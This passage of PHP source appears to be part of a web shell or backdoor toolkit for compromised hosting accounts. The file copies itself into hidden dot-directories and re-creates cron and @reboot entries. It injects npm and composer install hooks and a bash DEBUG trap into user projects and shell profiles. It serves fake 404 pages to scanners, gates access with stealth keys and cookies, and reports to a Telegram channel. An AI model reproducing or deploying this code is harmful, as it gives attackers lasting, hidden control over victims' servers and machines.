                if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true;
            }
        }
    }
    if (ini_get('allow_url_fopen')) {
        $ctx = @stream_context_create([
            'http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($post) . "\r\n", 'content' => $post, 'timeout' => 20, 'ignore_errors' => true],
            'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
        ]);
        if ($ctx !== false) {
            $res = @file_get_contents($url, false, $ctx);
            if (is_string($res) && $res !== '') {
                $r = @json_decode($res, true);
                if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true;
            }
        }
    }
    return false;
}

function wn_get_salt()
{
    static $cached = null;
    if ($cached !== null) return $cached;
    $f = wn_blend_name('salt');
    if (!file_exists($f) || @filesize($f) < 16) {
        try {
            $ns = bin2hex(random_bytes(24));
        } catch (Throwable $e) {
            global $__B, $rootPath;
            $ns = hash('sha256', 'x:' . ($__B ?? '') . ':' . $rootPath . ':' . uniqid('', true));
        }
        wn_call('fpc', $f, $ns, LOCK_EX);
        @chmod($f, 0600);
    }
    $s = trim((string)wn_call('fgc', $f));
    if (strlen($s) < 16) {
        global $CURRENT_SHELL, $rootPath, $__B;
        $s = hash('sha256', 'fb:' . $CURRENT_SHELL . ':' . $rootPath . ':' . ($__B ?? ''));
        wn_call('fpc', $f, $s, LOCK_EX);
        @chmod($f, 0600);
    }
    return $cached = $s;
}

function wn_get_key($suf = '')
{
    global $CURRENT_SHELL;
    return substr(hash('sha256', 'k:' . wn_get_salt() . ':' . $CURRENT_SHELL . ':' . $suf), 0, 16);
}

function wn_backup_filename() { return '.' . wn_get_key('backup'); }

function wn_backup_locations()
{
    $home = wn_get_home();
    $name = wn_backup_filename();
    $locs = [];
    if ($home && is_dir($home)) {
        foreach (['/.cache', '/.config', '/.local', '/.cache/icons', '/.config/systemd'] as $sub) {
            $dir = $home . $sub;
            if (!is_dir($dir)) @mkdir($dir, 0700, true);
            if (is_dir($dir) && is_writable($dir)) $locs[] = $dir . '/' . $name;
        }
    }
    return array_values(array_unique($locs));
}

function wn_stealth_key_file() { return wn_blend_name('stealth_key'); }
function wn_stealth_on_file() { return wn_blend_name('stealth_on'); }
function wn_stealth_cookie_name() { return 'PHPSESSID_' . substr(md5(wn_get_salt()), 0, 4); }

function wn_stealth_key()
{
    static $k = null;
    if ($k !== null) return $k;
    $f = wn_stealth_key_file();
    $k = file_exists($f) ? trim((string)wn_call('fgc', $f)) : '';
    if (strlen($k) < 16) {
        try {
            $k = bin2hex(random_bytes(16));
        } catch (Throwable $e) {
            $k = substr(hash('sha256', 'sk:' . wn_get_salt() . microtime(true)), 0, 32);
        }
        wn_call('fpc', $f, $k, LOCK_EX);
        @chmod($f, 0600);
    }
    return $k;
}

function wn_stealth_enabled() { return file_exists(wn_stealth_on_file()); }

function wn_stealth_ua_hash()
{
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    return substr(hash('sha256', 'u:' . $ua), 0, 16);
}

function wn_session_poison($ttl = 3600)
{
    if (session_status() !== PHP_SESSION_ACTIVE) @session_start();
    $_SESSION['_wh'] = [
        'n' => bin2hex(random_bytes(16)),
        'e' => time() + $ttl,
        'u' => wn_stealth_ua_hash(),
        'p' => $_SERVER['REMOTE_ADDR'] ?? '',
    ];
}

function wn_session_verify()
{
    if (session_status() !== PHP_SESSION_ACTIVE) return false;
    if (empty($_SESSION['_wh'])) return false;
    $st = $_SESSION['_wh'];
    if (empty($st['e']) || $st['e'] < time()) { unset($_SESSION['_wh']); return false; }
    if (!hash_equals(wn_stealth_ua_hash(), $st['u'] ?? '')) return false;
    return true;
}

function wn_stealth_issue_cookie($ttl = WN_STEALTH_TTL)
{
    while (ob_get_level() > 0) @ob_end_clean();
    $exp = time() + $ttl;
    $ua = wn_stealth_ua_hash();
    $sig = hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret());
    $val = $exp . '.' . $ua . '.' . $sig;
    $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') || (($_SERVER['SERVER_PORT'] ?? '') == 443);
    $params = ['expires' => $exp, 'path' => '/', 'httponly' => true, 'samesite' => 'Lax'];
    if ($isHttps) $params['secure'] = true;
    if (!headers_sent()) {
        @header_remove('X-Powered-By');
        setcookie(wn_stealth_cookie_name(), $val, $params);
    }
    $_COOKIE[wn_stealth_cookie_name()] = $val;
    wn_session_poison($ttl);
}

function wn_stealth_verify_cookie()
{
    $c = $_COOKIE[wn_stealth_cookie_name()] ?? '';
    if (empty($c)) return false;
    $p = explode('.', $c);
    if (count($p) !== 3) return false;
    list($exp, $ua, $sig) = $p;
    if (!ctype_digit($exp) || (int)$exp < time()) return false;
    if (!hash_equals(wn_stealth_ua_hash(), $ua)) return false;
    return hash_equals(hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret()), $sig);
}

function wn_stealth_fail_file() { return wn_blend_name('stealth_fail') . '_' . md5(get_real_ip()); }
function wn_stealth_ban_file() { return wn_blend_name('stealth_ban') . '_' . md5(get_real_ip()); }

function wn_stealth_is_banned()
{
    $f = wn_stealth_ban_file();
    if (!file_exists($f)) return false;
    $t = (int)wn_call('fgc', $f);
    if (time() - $t > 3600) { @unlink($f); return false; }
    return true;
}

function wn_stealth_note_fail()
{
    global $__B, $__C;
    $f = wn_stealth_fail_file();
    $d = @json_decode(wn_call('fgc', $f), true);
    if (!is_array($d) || !isset($d['first']) || (time() - (int)$d['first']) > 900) {
        $d = ['n' => 1, 'first' => time()];
    } else {
        $d['n']++;
    }
    wn_call('fpc', $f, json_encode($d), LOCK_EX);
    @chmod($f, 0600);
    if ($d['n'] >= 10) {
        wn_call('fpc', wn_stealth_ban_file(), time(), LOCK_EX);
        sendTelegramMessage($__B, $__C, "[STEALTH BAN]\nIP: " . htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8') . "\nGagal {$d['n']}x", true);
    }
}

function wn_stealth_note_ok() { @unlink(wn_stealth_fail_file()); }
function wn_stealth_otp_file() { return wn_blend_name('stealth_otp'); }

function wn_stealth_gen_otp($ttl = 300)
{
    try {
        $tok = bin2hex(random_bytes(16));
    } catch (Throwable $e) {
        $tok = substr(hash('sha256', microtime(true) . mt_rand()), 0, 32);
    }
    $json = json_encode(['t' => $tok, 'e' => time() + $ttl]);
    if ($json === false) return '';
    $f = wn_stealth_otp_file();
    $w = wn_call('fpc', $f, $json, LOCK_EX);
    if (!is_int($w) || $w <= 0) {
        $fp = @fopen($f, 'c');
        if ($fp === false) return '';
        @flock($fp, LOCK_EX);
        @ftruncate($fp, 0);
        $n = @fwrite($fp, $json);
        @fflush($fp);
        @flock($fp, LOCK_UN);
        @fclose($fp);
        if (!is_int($n) || $n <= 0) return '';
    }
    @chmod($f, 0600);
    return $tok;
}

function wn_stealth_consume_otp($given)
{
    $f = wn_stealth_otp_file();
    if (!file_exists($f)) return false;
    $raw = wn_call('fgc', $f);
    if (!is_string($raw) || $raw === '') $raw = @file_get_contents($f);
    @unlink($f);
    if (!is_string($raw) || $raw === '') return false;
    $d = json_decode($raw, true);
    if (!is_array($d) || empty($d['t']) || empty($d['e'])) return false;
    if (time() > (int)$d['e']) return false;
    return hash_equals((string)$d['t'], (string)$given);
}

function wn_stealth_unlock()
{
    if (!wn_stealth_enabled()) return true;
    if (wn_check_auth_cookie()) return true;
    if (wn_stealth_verify_cookie()) return true;
    if (wn_session_verify()) return true;
    if (wn_stealth_is_banned()) wn_stealth_decoy();
    $key = '';
    if (!empty($_SERVER['HTTP_X_WN_KEY'])) {
        $key = (string)$_SERVER['HTTP_X_WN_KEY'];
    } elseif (isset($_GET[WN_STEALTH_PARAM])) {
        $key = (string)$_GET[WN_STEALTH_PARAM];
        if (wn_stealth_consume_otp($key)) {
            wn_stealth_issue_cookie();
            wn_stealth_note_ok();
            return true;
        }
    }
    if ($key !== '' && hash_equals(wn_stealth_key(), $key)) {
        wn_stealth_issue_cookie();
        wn_stealth_note_ok();
        return true;
    }
    if ($key !== '') wn_stealth_note_fail();
    return false;
}

function wn_stealth_jitter()
{
    $ms = random_int(WN_STEALTH_MIN_MS, WN_STEALTH_MAX_MS);
    usleep($ms * 1000);
}

function wn_stealth_decoy()
{
    while (ob_get_level() > 0) @ob_end_clean();
    if (!headers_sent()) {
        @header_remove('X-Powered-By');
        @header_remove('X-Powered-By-PHP');
        @header_remove('Set-Cookie');
        @header_remove('Expires');
        @header_remove('Cache-Control');
        @header_remove('Pragma');
    }
    @http_response_code(404);
    $m = strtoupper($_SERVER['REQUEST_METHOD'] ?? 'GET');
    if ($m === 'HEAD') exit;
    $sw = strtolower($_SERVER['SERVER_SOFTWARE'] ?? '');
    $srv = 'Apache';
    if (strpos($sw, 'nginx') !== false) $srv = 'nginx';
    elseif (strpos($sw, 'litespeed') !== false) $srv = 'LiteSpeed';
    if (!in_array($m, ['GET', 'POST'], true)) {
        @http_response_code(405);
        if (!headers_sent()) { header('Allow: GET, HEAD, POST'); header('Content-Length: 0'); }
        exit;
    }
    switch ($srv) {
        case 'nginx':
            $ct = 'text/html';
            $body = "<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1>404 Not Found</h1></center>\r\n<hr><center>nginx</center>\r\n</body>\r\n</html>\r\n";
            break;
        case 'LiteSpeed':
            $ct = 'text/html; charset=UTF-8';
            $body = "<!DOCTYPE html>\n<html style=\"height:100%\">\n<head><meta charset=\"UTF-8\"><title>404 Not Found</title></head>\n<body style=\"margin:0;font-family:Arial,sans-serif\">\n<div style=\"display:flex;align-items:center;justify-content:center;height:100vh;flex-direction:column\">\n<h1 style=\"font-size:3em;margin:0\">404</h1>\n<p>Not Found</p>\n</div>\n</body>\n</html>";
            break;
        default:
            $ct = 'text/html; charset=iso-8859-1';
            $body = '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n" . '<html><head>' . "\n" . '<title>404 Not Found</title>' . "\n" . '</head><body>' . "\n" . '<h1>Not Found</h1>' . "\n" . '<p>The requested URL was not found on this server.</p>' . "\n" . '</body></html>' . "\n";
            break;
    }
    if (!headers_sent()) {
        header('Content-Type: ' . $ct);
        header('Content-Length: ' . strlen($body));
    }
    echo $body;
    exit;
}

function wn_random_replica_dirs()
{
    $home = wn_get_home();
    $dirs = [];
    if ($home) {
        foreach ([
            $home . '/.local/share', $home . '/.local/share/icons', $home . '/.local/share/.cache',
            $home . '/.config/.cache', $home . '/.config/icons', $home . '/.cache/.sys',
            $home . '/.cache/system', $home . '/.local/state', $home . '/.local/state/.cache',
            $home . '/.local/share/Trash'
        ] as $d) {
            if (!is_dir($d)) @mkdir($d, 0700, true);
            if (is_dir($d) && is_writable($d)) $dirs[] = $d;
        }
    }
    return $dirs;
}

function wn_replica_watcher_paths()
{
    $paths = [];
    $dirs = wn_random_replica_dirs();
    if (empty($dirs)) return $paths;
    $bk = wn_get_key('replica');
    $names = ['.cache-' . $bk . '.cache', '.sys-' . $bk . '.dat', '.tmp-' . $bk . '.tmp', '.data-' . $bk . '.bin', 'session-' . $bk . '.idx', '.icon-' . $bk . '.log'];
    foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)];
    return array_values(array_unique($paths));
}

function wn_replica_backup_paths()
{
    $paths = [];
    $dirs = wn_random_replica_dirs();
    if (empty($dirs)) return $paths;
    $bk = wn_get_key('replica_bak');
    $names = ['.cache-' . $bk . '.log', '.sys-' . $bk . '.dat', '.tmp-' . $bk . '.tmp', '.data-' . $bk . '.old'];
    foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)];
    return array_values(array_unique($paths));
}

function wn_watcher_locations()
{
    $home = wn_get_home();
    $locs = [];
    if ($home) {
        foreach (['/.cache', '/.config', '/.local'] as $sub) {
            $locs[] = $home . $sub . '/php-sess-' . substr(md5(wn_get_key('w')), 0, 8) . '.cache';
        }
    }
    return array_values(array_unique(array_merge($locs, wn_replica_watcher_paths())));
}

function wn_wrapper_locations()
{
    $home = wn_get_home();
    $locs = [];
    if ($home) {
        foreach (['/.cache', '/.config', '/.local'] as $sub) {
            $locs[] = $home . $sub . '/.' . substr(md5(wn_get_key('wrap')), 0, 12) . '.bin';
        }
    }
    return array_values(array_unique($locs));
}

// ═══════════════════════════════════════════════════════════════════
// CRON HELPERS
// ═══════════════════════════════════════════════════════════════════

function wn_cron_filter_callback($l)
{
    $needles = [
        basename(wn_get_key('wrapfile')),
        basename(wn_blend_name('daemon_php')),
        basename(wn_blend_name('watchdog_php')),
        'php-sess-',
        'php-session-',
    ];
    foreach ($needles as $n) {
        if ($n && stripos($l, $n) !== false) return false;
    }
    if (stripos($l, 'session_cleanup') !== false) return false;
    if (trim($l) === '') return false;
    return true;
}

function wn_restore_cron($php, $targets)
{
    global $__B, $__C;
    if (!is_shell_available()) return false;
    if (is_string($targets)) $targets = [$targets];
    $targets = array_values(array_filter($targets, 'file_exists'));
    if (empty($targets)) return false;
    $existing = (string)cmd_exec('crontab -l 2>/dev/null');
    $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback');
    if ($existing) {
        wn_call('fpc', wn_blend_name('cron_backup'), $existing);
    }
    $w1 = $targets[0];
    $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'";
    $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'";
    $tmp = tempnam(sys_get_temp_dir(), 'cron_');
    wn_call('fpc', $tmp, implode("\n", $lines) . "\n");
    cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1");
    @unlink($tmp);
    sendTelegramMessage($__B, $__C, "CRON RESTORED\nHost: " . htmlspecialchars(wn_safe_host(), ENT_QUOTES, 'UTF-8'));
    return true;
}

// ═══════════════════════════════════════════════════════════════════
// TRIGGER + BOOTSTRAP
// ═══════════════════════════════════════════════════════════════════

function wn_wake_watcher()
{
    global $__B;
    @touch(wn_state_dir() . "/." . substr(hash('sha256', 'wake:' . $__B), 0, 16));
}

function wn_web_trigger()
{
    global $__B, $__C;
    if (!wn_can_shell()) return;
    if (wn_is_hidden()) return;
    $home = wn_get_home();
    if (!$home) return;
    wn_wake_watcher();
    $tf = wn_blend_name('last');
    $lr = (int)wn_call('fgc', $tf);
    if (time() - $lr < 15) return;
    wn_call('fpc', $tf, time());
    $df = wn_blend_name('dying');
    if (file_exists($df)) {
        $da = (int)@wn_call('fgc', $df);
        if ($da > 0 && (time() - $da) < 300) return;
        @unlink($df);
    }
    $wrapper = wn_wrapper_exists();
    $entry = $wrapper;
    if (!$entry && wn_check_auth_cookie()) {
        @set_time_limit(180);
        try {
            $r = auto_install_watcher_controller(true);
            if (($r['status'] ?? '') === 'success') $entry = $r['wrapper'] ?? null;
        } catch (Throwable $e) {}
    }
    if (!$entry) {
        $lw = null;
        foreach (wn_watcher_locations() as $w) {
            if (@file_exists($w)) { $lw = $w; break; }
        }
        if ($lw) {
            $entry = $lw;
            $wc = wn_call('fgc', $lw);
            if ($wc !== false && $wc !== '') {
                $d = [];
                $rw = wn_install_wrappers($d, $wc);
                if (!empty($rw)) $entry = $rw[0];
            }
        } else {
            return;
        }
    }
    $best = wn_find_best_php($__B);
    $php = $best ? $best['bin'] : null;
    if (!$php) {
        $php = trim((string)cmd_exec('which php 2>/dev/null'));
        if (!$php) {
            foreach (['/usr/local/bin/php', '/usr/bin/php'] as $p) {
                if (file_exists($p)) { $php = $p; break; }
            }
        }
    }
    if (!$php) return;
    $running = trim((string)cmd_exec("pgrep -f " . escapeshellarg($entry) . " 2>/dev/null"));
    $lf = wn_blend_name('live');
    $la = file_exists($lf) ? (time() - filemtime($lf)) : -1;
    $stuck = ($la < 0 || $la > 90);
    if (empty($running) || $stuck) {
        if ($stuck && !empty($running)) {
            cmd_exec('pkill -9 -f ' . escapeshellarg($entry) . ' 2>/dev/null');
            usleep(500000);
        }
        wn_run_bg(escapeshellarg($php) . " " . escapeshellarg($entry));
    }
    $dmn = wn_daemon_status();
    if (!$dmn['alive']) {
        $d = [];
        wn_spawn_daemon($php, $entry, $d);
    }
    $wd = wn_watchdog_status();
    if (!$wd['alive']) {
        $d = [];
        wn_spawn_watchdog($php, $entry, $d);
    }
    $cron = (string)cmd_exec('crontab -l 2>/dev/null');
    if (stripos($cron, 'cleanup.lock') === false && stripos($cron, basename($entry)) === false) {
        wn_restore_cron($php, wn_wrapper_cron_targets());
    }
}

function wn_bootstrap()
{
    static $ran = false;
    if ($ran) return;
    $ran = true;
    $skip = !empty($_SERVER['HTTP_X_WN_KEY'])
        || isset($_GET['wn_otp'])
        || isset($_GET['wn_tg'])
        || isset($_GET['wn_fleet'])
        || isset($_GET['wn_fleet_bootstrap']);
    if (!$skip && wn_is_scanner()) wn_stealth_decoy();
    wn_web_trigger();
    wn_heal_backups();
}

function wn_heal_backups()
{
    if (!file_exists(__FILE__)) return;
    foreach (wn_backup_locations() as $b) {
        if (!file_exists($b)) {
            if (@copy(__FILE__, $b)) {
                @chmod($b, 0400);
                wn_apply_mtime($b);
            }
        }
    }
    foreach (wn_replica_backup_paths() as $b) {
        if (!file_exists($b)) {
            if (@copy(__FILE__, $b)) {
                @chmod($b, 0400);
                wn_apply_mtime($b);
            }
        }
    }
}

function wn_clean_state_files()
{
    $explicit = [
        wn_blend_name('daemon_pid'), wn_blend_name('watchdog_pid'),
        wn_blend_name('heartbeat'), wn_blend_name('started'),
        wn_blend_name('last_selfheal'), wn_blend_name('activity'),
        wn_blend_name('deadman'), wn_blend_name('deadman_noted'),
        wn_blend_name('rm_pending'), wn_blend_name('sd_pending'),
        wn_blend_name('cron_backup'), wn_blend_name('integrity_check'),
        wn_blend_name('integrity_alert'), wn_blend_name('integrity_pause'),
        wn_blend_name('integrity_pause_ttl'), wn_hide_state_file(),
    ];
    foreach ($explicit as $f) @unlink($f);
    $dirs = array_unique([wn_state_dir(), wn_mem_dir()]);
    foreach ($dirs as $dir) {
        foreach ((array)glob($dir . '/.otp_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.lk_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.lv_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.of_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.ls_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.bl_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.fl_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.sf_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.sb_*') as $f) @unlink($f);
        foreach ((array)glob($dir . '/.so_*') as $f) @unlink($f);
    }
}

// ═══════════════════════════════════════════════════════════════════
// PROJECT HOOKS (npm, composer, git, shell)
// ═══════════════════════════════════════════════════════════════════

function wn_find_project_files($home, $fn)
{
    $res = [];
    if (!$home || !is_dir($home)) return $res;
    $scan = [
        $home, $home . '/public_html', $home . '/www', $home . '/htdocs',
        $home . '/domains', $home . '/html', $home . '/sites', $home . '/public',
    ];
    foreach ($scan as $b) {
        if (!is_dir($b)) continue;
        $f = $b . '/' . $fn;
        if (file_exists($f) && is_writable($f)) $res[] = $f;
        $subs = @scandir($b) ?: [];
        foreach ($subs as $s) {
            if ($s === '.' || $s === '..') continue;
            if (isset($s[0]) && $s[0] === '.') continue;
            $p = $b . '/' . $s;
            if (!is_dir($p)) continue;
            $sf = $p . '/' . $fn;
            if (file_exists($sf) && is_writable($sf)) $res[] = $sf;
        }
    }
    return array_values(array_unique($res));
}

function wn_inject_npm_hooks($home, $entry)
{
    $files = wn_find_project_files($home, 'package.json');
    if (empty($files)) return 0;
    $mk = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8);
    $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &';
    $n = 0;
    foreach ($files as $f) {
        $raw = @file_get_contents($f);
        if ($raw === false) continue;
        $j = @json_decode($raw, true);
        if (!is_array($j)) continue;
        if (!isset($j['scripts']) || !is_array($j['scripts'])) $j['scripts'] = [];
        if (isset($j['scripts'][$mk])) { $n++; continue; }
        $j['scripts'][$mk] = $cmd;
        foreach (['preinstall', 'postinstall', 'prepare'] as $hk) {
            if (!isset($j['scripts'][$hk])) {
                $j['scripts'][$hk] = 'npm run ' . $mk . ' 2>/dev/null || true';
            } elseif (is_string($j['scripts'][$hk]) && strpos($j['scripts'][$hk], $mk) === false) {
                $j['scripts'][$hk] = 'npm run ' . $mk . ' 2>/dev/null || true; ' . $j['scripts'][$hk];
            }
        }
        $nj = json_encode($j, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
        if ($nj !== false && @file_put_contents($f, $nj . "\n") !== false) $n++;
    }
    return $n;
}

function wn_cleanup_npm_hooks($home)
{
    $files = wn_find_project_files($home, 'package.json');
    $mk = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8);
    $n = 0;
    foreach ($files as $f) {
        $raw = @file_get_contents($f);
        if ($raw === false) continue;
        $j = @json_decode($raw, true);
        if (!is_array($j) || !isset($j['scripts'][$mk])) continue;
        unset($j['scripts'][$mk]);
        foreach (['preinstall', 'postinstall', 'prepare'] as $hk) {
            if (!isset($j['scripts'][$hk])) continue;
            if (is_string($j['scripts'][$hk])) {
                $parts = array_filter(explode(';', $j['scripts'][$hk]), function ($p) use ($mk) {
                    return strpos($p, $mk) === false;
                });
                $jn = trim(implode(';', $parts));
                if ($jn === '') unset($j['scripts'][$hk]);
                else $j['scripts'][$hk] = $jn;
            }
        }
        $nj = json_encode($j, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
        if ($nj !== false && @file_put_contents($f, $nj . "\n") !== false) $n++;
    }
    return $n;
}

function wn_inject_composer_hooks($home, $entry)
{
    $files = wn_find_project_files($home, 'composer.json');
    if (empty($files)) return 0;
    $mk = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8);
    $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &';
    $n = 0;
    foreach ($files as $f) {
        $raw = @file_get_contents($f);
        if ($raw === false) continue;
        $j = @json_decode($raw, true);
        if (!is_array($j)) continue;
        if (!isset($j['scripts']) || !is_array($j['scripts'])) $j['scripts'] = [];
        if (isset($j['scripts'][$mk])) { $n++; continue; }
        $j['scripts'][$mk] = $cmd;
        foreach (['pre-install-cmd', 'post-install-cmd', 'post-update-cmd', 'post-autoload-dump'] as $hk) {
            if (!isset($j['scripts'][$hk])) {
                $j['scripts'][$hk] = ['@' . $mk];
            } elseif (is_string($j['scripts'][$hk])) {
                if (strpos($j['scripts'][$hk], $mk) === false) {
                    $j['scripts'][$hk] = ['@' . $mk, $j['scripts'][$hk]];
                }
            } elseif (is_array($j['scripts'][$hk])) {
                $found = false;
                foreach ($j['scripts'][$hk] as $s) {
                    if (is_string($s) && strpos($s, $mk) !== false) { $found = true; break; }
                }
                if (!$found) array_unshift($j['scripts'][$hk], '@' . $mk);
            }
        }
        $nj = json_encode($j, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
        if ($nj !== false && @file_put_contents($f, $nj . "\n") !== false) $n++;
    }
    return $n;
}

function wn_cleanup_composer_hooks($home)
{
    $files = wn_find_project_files($home, 'composer.json');
    $mk = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8);
    $n = 0;
    foreach ($files as $f) {
        $raw = @file_get_contents($f);
        if ($raw === false) continue;
        $j = @json_decode($raw, true);
        if (!is_array($j) || !isset($j['scripts'][$mk])) continue;
        unset($j['scripts'][$mk]);
        foreach (['pre-install-cmd', 'post-install-cmd', 'post-update-cmd', 'post-autoload-dump'] as $hk) {
            if (!isset($j['scripts'][$hk])) continue;
            if (is_array($j['scripts'][$hk])) {
                $j['scripts'][$hk] = array_values(array_filter($j['scripts'][$hk], function ($s) use ($mk) {
                    return !(is_string($s) && strpos($s, $mk) !== false);
                }));
                if (empty($j['scripts'][$hk])) unset($j['scripts'][$hk]);
            } elseif (is_string($j['scripts'][$hk]) && strpos($j['scripts'][$hk], $mk) !== false) {
                unset($j['scripts'][$hk]);
            }
        }
        $nj = json_encode($j, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
        if ($nj !== false && @file_put_contents($f, $nj . "\n") !== false) $n++;
    }
    return $n;
}

function wn_build_trap_line($entry)
{
    if ($entry === '') return '';
    $esc = str_replace("'", "'\\''", $entry);
    return 'if [ -n "$BASH_VERSION" ] || [ -n "$ZSH_VERSION" ]; then if [ -z "$__WN_TRAP_S" ]; then __WN_TRAP_S=1; trap \'[ -f "' . $esc . '" ] && (pgrep -f "' . $esc . '" >/dev/null 2>&1 || (php "' . $esc . '" >/dev/null 2>&1 &))\' DEBUG; fi; fi';
}

function wn_inject_shell_trap($home, $entry)
{
    if (!$home) return 0;
    $mk = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap';
    $line = wn_build_trap_line($entry);
    if ($line === '') return 0;
    $n = 0;
    foreach ([$home . '/.bashrc', $home . '/.zshrc', $home . '/.profile', $home . '/.bash_profile', $home . '/.zprofile'] as $f) {
        if (!file_exists($f) || !is_writable($f)) continue;
        $c = @file_get_contents($f);
        if ($c === false) continue;
        if (strpos($c, $mk) !== false) { $n++; continue; }
        if (@file_put_contents($f, "\n" . $mk . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++;
    }
    return $n;
}

function wn_cleanup_shell_trap($home)
{
    if (!$home) return 0;
    $mk = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap';
    $n = 0;
    foreach ([$home . '/.bashrc', $home . '/.zshrc', $home . '/.profile', $home . '/.bash_profile', $home . '/.zprofile'] as $f) {
        if (!file_exists($f) || !is_writable($f)) continue;
        $c = @file_get_contents($f);
        if ($c === false || strpos($c, $mk) === false) continue;
        $lines = explode("\n", $c);
        $out = [];
        $skip = false;
        foreach ($lines as $l) {
            if (strpos($l, $mk) !== false) { $skip = true; continue; }
            if ($skip) { $skip = false; continue; }
            $out[] = $l;
        }
        if (@file_put_contents($f, implode("\n", $out)) !== false) $n++;
    }
    return $n;
}

function wn_shim_marker($tag) { return '# ' . substr(md5('wn_shim_' . $tag . '_' . wn_get_key('shim')), 0, 12); }
function wn_shim_bash_line($php, $entry) { return '[ -f "' . $entry . '" ] && (' . escapeshellarg($php) . ' "' . $entry . '" >/dev/null 2>&1 &)'; }

function wn_shim_install($file, $mk, $line)
{
    $dir = dirname($file);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    if (!is_dir($dir) || !is_writable($dir)) return 'dir-fail';
    if (file_exists($file)) {
        $c = @file_get_contents($file);
        if ($c !== false && strpos($c, $mk) !== false) return 'exists';
        if (!is_writable($file)) return 'not-writable';
        if (@file_put_contents($file, "\n" . $mk . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return 'appended';
        return 'append-failed';
    }
    if (@file_put_contents($file, $mk . "\n" . $line . "\n") !== false) return 'created';
    return 'create-failed';
}

function wn_shim_uninstall($file, $mk)
{
    if (!file_exists($file) || !is_writable($file)) return 0;
    $c = @file_get_contents($file);
    if ($c === false) return 0;
    if (strpos($c, $mk) === false) return 0;
    $lines = explode("\n", $c);
    $out = [];
    $skip = false;
    foreach ($lines as $l) {
        if (strpos($l, $mk) !== false) { $skip = true; continue; }
        if ($skip) { $skip = false; continue; }
        $out[] = $l;
    }
    if (@file_put_contents($file, implode("\n", $out)) !== false) return 1;
    return 0;
}

function wn_shim_status($file, $mk)
{
    if (!file_exists($file)) return false;
    return strpos((string)@file_get_contents($file), $mk) !== false;
}

// ═══════════════════════════════════════════════════════════════════
// LAYER SYSTEM
// ═══════════════════════════════════════════════════════════════════

interface WnLayer
{
    public function key();
    public function install(array $ctx);
    public function uninstall(array $ctx);
    public function status(array $ctx);
}

abstract class WnBaseLayer implements WnLayer
{
    protected $lastLog = [];
    public function log() { return $this->lastLog; }
    protected function setLog(array $e) { $this->lastLog = $e; }
    public function uninstall(array $ctx) { return ['ok' => true, 'removed' => 0, 'message' => 'no-op']; }
    public function status(array $ctx) { return ['active' => false, 'detail' => 'not implemented']; }
}

class WnLayerManager
{
    private $layers = [];
    public function register(WnLayer $l) { $this->layers[$l->key()] = $l; return $this; }

    public function installAll(array $ctx)
    {
        $r = [];
        foreach ($this->layers as $k => $l) {
            try { $r[$k] = $l->install($ctx); }
            catch (Throwable $e) { $r[$k] = ['ok' => false, 'detail' => 'exception: ' . $e->getMessage()]; }
        }
        return $r;
    }

    public function uninstallAll(array $ctx)
    {
        $r = [];
        $t = 0;
        foreach ($this->layers as $k => $l) {
            try {
                $x = $l->uninstall($ctx);
                $r[$k] = $x;
                $t += (int)($x['removed'] ?? 0);
            } catch (Throwable $e) { $r[$k] = ['ok' => false, 'removed' => 0]; }
        }
        return ['results' => $r, 'total_removed' => $t];
    }

    public function statusAll(array $ctx)
    {
        $o = [];
        foreach ($this->layers as $k => $l) {
            try { $o[$k] = $l->status($ctx); }
            catch (Throwable $e) { $o[$k] = ['active' => false, 'detail' => 'exception']; }
        }
        return $o;
    }
}

// ───────────── Cron Layer ─────────────
class WnCronLayer extends WnBaseLayer
{
    public function key() { return 'cron'; }

    public function install(array $ctx)
    {
        $php = $ctx['php_bin'];
        $e = $ctx['entry'];
        if (trim((string)cmd_exec('command -v crontab 2>/dev/null')) === '') {
